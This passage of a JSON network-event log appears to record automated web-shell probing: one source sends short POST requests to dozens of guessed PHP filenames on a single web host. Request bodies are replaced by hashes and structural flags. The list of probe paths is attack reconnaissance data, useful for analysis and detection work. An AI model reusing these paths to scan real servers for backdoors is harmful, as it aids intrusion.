            "http.content_length": "25",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/12.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-cddc8f860d44252c025708a4",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "ac72a7df2de0e0af886e852b5fd8af7a1d00420c49d616485bb59452f7336441",
          "frame_number": 1251,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 25,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 25,
          "timestamp_epoch": "1577255888.044303000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/hh.php",
            "http.response_in": "1263",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/hh.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-83ee6fdbdbd1f649784d16e1",
          "src_port": 62210,
          "tcp_stream": 36,
          "udp_stream": null,
          "body_sha256": "8567e5edc0206dfb26058c1a3aff7e3c257d4946139bde76fdb9372a68a1cb15",
          "frame_number": 1261,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255902.051798000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ak.php",
            "http.response_in": "1266",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ak.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3688f1de3f8bbbf565d3f2e9",
          "src_port": 62210,
          "tcp_stream": 36,
          "udp_stream": null,
          "body_sha256": "39cad84b05c06b4b0349229379fe47079f0c20a7620ee3ef11180c293b5015dd",
          "frame_number": 1265,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255902.352582000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ip.php",
            "http.response_in": "1269",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ip.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-53c1ea1bfbdf94fa4c74f5f2",
          "src_port": 62210,
          "tcp_stream": 36,
          "udp_stream": null,
          "body_sha256": "39cad84b05c06b4b0349229379fe47079f0c20a7620ee3ef11180c293b5015dd",
          "frame_number": 1268,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255902.620402000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/infoo.php",
            "http.response_in": "1273",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/infoo.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-77bf4a326db43fcd1602c459",
          "src_port": 62210,
          "tcp_stream": 36,
          "udp_stream": null,
          "body_sha256": "69ebb06901e1a0b1d853c28fddcd8e1179397f351e10042f9fe13c632e2c4287",
          "frame_number": 1271,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255904.616745000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qwe.php",
            "http.response_in": "1276",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qwe.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2429e87ecd7cb3dba16c0507",
          "src_port": 62210,
          "tcp_stream": 36,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 1275,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255905.651054000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/1213.php",
            "http.response_in": "1279",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/1213.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8bb3c612b0df825ba1421c8f",
          "src_port": 62210,
          "tcp_stream": 36,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 1278,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255905.921249000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/post.php",
            "http.response_in": "1288",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/post.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-11eb8bf811fa899fdcc1c87b",
          "src_port": 64171,
          "tcp_stream": 37,
          "udp_stream": null,
          "body_sha256": "ba1f895b79ddd4458c3fd2f0721ce08e44618c415277b3bca26e58c2d6990ba1",
          "frame_number": 1286,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577255909.826915000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/h1.php",
            "http.response_in": "1301",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/h1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-aa23813a399c6470c4df1f9c",
          "src_port": 65275,
          "tcp_stream": 39,
          "udp_stream": null,
          "body_sha256": "b947c4288a7cb946e82bf2385142468a80216418afc08e691f46b2150ae67f96",
          "frame_number": 1299,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255918.830258000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/test.php",
            "http.response_in": "1304",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/test.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ca0831b7abb2e98d4ca543b0",
          "src_port": 65275,
          "tcp_stream": 39,
          "udp_stream": null,
          "body_sha256": "0947a7a5cd606f9fbc01a6f8a68689b719f4b593cc02fc15ecaaa4c5d087c54e",
          "frame_number": 1303,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577255919.106292000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/3.php",
            "http.response_in": "1307",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/3.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c5bdad0dd53f0f826bd42369",
          "src_port": 65275,
          "tcp_stream": 39,
          "udp_stream": null,
          "body_sha256": "201a5616598b897bc8683e6ac3eb3f354a5eeb32c693e507706545fe03f8247a",
          "frame_number": 1306,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255919.382602000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/4.php",
            "http.response_in": "1310",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/4.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b2b686ee762941123a80c2c0",
          "src_port": 65275,
          "tcp_stream": 39,
          "udp_stream": null,
          "body_sha256": "201a5616598b897bc8683e6ac3eb3f354a5eeb32c693e507706545fe03f8247a",
          "frame_number": 1309,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255919.658601000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/phpinfi.php",
            "http.response_in": "1313",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/phpinfi.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5b149dfa159ed2cc0ae7790f",
          "src_port": 65275,
          "tcp_stream": 39,
          "udp_stream": null,
          "body_sha256": "dc5eda42292e02c4bd0661d61a85656c9cfc498fc84df0e3fc39c11d5e975489",
          "frame_number": 1312,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255921.483227000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/9510.php",
            "http.response_in": "1316",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/9510.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-22d1e39f16e6d843f230337a",
          "src_port": 65275,
          "tcp_stream": 39,
          "udp_stream": null,
          "body_sha256": "ce00fb93bdd8799116dee501491619b2987f56bcff2e1260e6e72e0714e0f28f",
          "frame_number": 1315,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255921.759838000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/python.php",
            "http.response_in": "1325",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/python.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-9db45802349d1a557970498a",
          "src_port": 50137,
          "tcp_stream": 40,
          "udp_stream": null,
          "body_sha256": "11ae4ece213f6e5fb811c194ce843d0719f6b5cba7a9e07a84876308014023e3",
          "frame_number": 1323,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255933.790321000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/sean.php",
            "http.response_in": "1338",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/sean.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d252f972501b97249dadcae4",
          "src_port": 52340,
          "tcp_stream": 42,
          "udp_stream": null,
          "body_sha256": "8d949fb887bc7dc3f322aa6f52f458d62ae4e80660bcacec409f8dc2e0e13358",
          "frame_number": 1336,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255951.060487000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/app.php",
            "http.response_in": "1348",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/app.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-eb57900ca83498ea4bf23f52",
          "src_port": 54484,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "2c3906c7ad9f0f1a719ed2c92169e63d1e38c077da8fd49870ff9fc5f86253d6",
          "frame_number": 1346,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255963.962886000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/help.php",
            "http.response_in": "1351",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/help.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8e16cdb2d835e6067e6908e4",
          "src_port": 54484,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "2c3906c7ad9f0f1a719ed2c92169e63d1e38c077da8fd49870ff9fc5f86253d6",
          "frame_number": 1350,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255964.221343000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/tiandi.php",
            "http.response_in": "1355",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/tiandi.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c51728f0a7e8b4aa47a008e7",
          "src_port": 54484,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 1353,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255966.008833000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xz.php",
            "http.response_in": "1358",
            "http.content_length": "27",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xz.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a95ce641734a7a9ab51ff1a5",
          "src_port": 54484,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "5af181de5f983b28300bc36f16dc067212c41c86da2ea4393b9b89368a15ee96",
          "frame_number": 1357,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 27,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 27,
          "timestamp_epoch": "1577255966.267348000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/beimeng.php",
            "http.response_in": "1361",
            "http.content_length": "25",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/beimeng.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6f09107ca17d9070ade09968",
          "src_port": 54484,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "81ae3595dceae4fcbbaff6913241a3ba6140af3be99c11e0843aa0ed94bb50dc",
          "frame_number": 1360,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 25,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 25,
          "timestamp_epoch": "1577255966.525930000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/linuxse.php",
            "http.response_in": "1365",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/linuxse.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b8693ce056660e165e32272f",
          "src_port": 54484,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1363,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255968.121943000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/zuoindex.php",
            "http.response_in": "1368",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/zuoindex.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8e11eb4423f7f3d259451091",
          "src_port": 54484,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1367,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255969.329710000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/zshmindex.php",
            "http.response_in": "1371",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/zshmindex.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-dde9d3a2795aa8831168266f",
          "src_port": 54484,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1370,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255971.154474000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/tomcat.php",
            "http.response_in": "1374",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/tomcat.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-548716cd29d7a865a7cc3118",
          "src_port": 54484,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1373,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255975.154437000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ceshi.php",
            "http.response_in": "1377",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ceshi.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-88f5869c2013281fef17a9a7",
          "src_port": 54484,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1376,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255975.412907000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/1hou.php",
            "http.response_in": "1380",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/1hou.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-44d8c2c3e1cab915e418019a",
          "src_port": 54484,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1379,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255976.248587000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/zuos.php",
            "http.response_in": "1393",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/zuos.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1f33604aa2fc20e3f90f35ca",
          "src_port": 57806,
          "tcp_stream": 45,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1391,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255983.849111000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/zuoss.php",
            "http.response_in": "1397",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/zuoss.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-32a5a0bbe00e4f52bfde9536",
          "src_port": 57806,
